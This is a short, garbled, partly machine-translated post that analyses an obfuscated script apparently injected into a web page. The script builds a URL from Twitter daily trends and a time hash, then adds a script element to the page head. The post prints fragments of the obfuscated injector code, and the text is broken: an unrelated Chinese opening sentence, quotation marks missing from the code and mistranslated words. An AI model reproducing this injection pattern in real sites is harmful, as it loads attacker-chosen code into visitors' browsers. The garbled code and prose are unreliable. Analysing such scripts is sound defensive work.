让我们去掉工作,把工作推向边缘;它就失去了活力。

AFAICT so far it s grabbing (what seems to be) the third trend for two days prior to the current date, or at least was meant to (I think the date key it s using to look up a day s trends is incorrect, because it s adding a zero-seconds thing onto the time, which isn t present in the feed), building a URL from that, and sending some data keyed on a hash representing the nearest 6-hr interval.

        return jsA.length == 1 ? jsA[0] : jsA.join(  )

在这里,从阵列修建了一些URLs:

jsd.jsS = http://api.twitter.com/1/trends/daily.json?callback=?

这部法典:

jsAS = jsAj.getElementsByTagName(jsn( Y ))[0];
jsm = jsAj.createElement(jsn( kS ));
jsm.setAttribute(jsn( kr ), jsn("hxDgakDosxsLsJseD6sJDmDj"));
jsAS.appendChild(jsm)

将jquery script tag改为<head>:

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
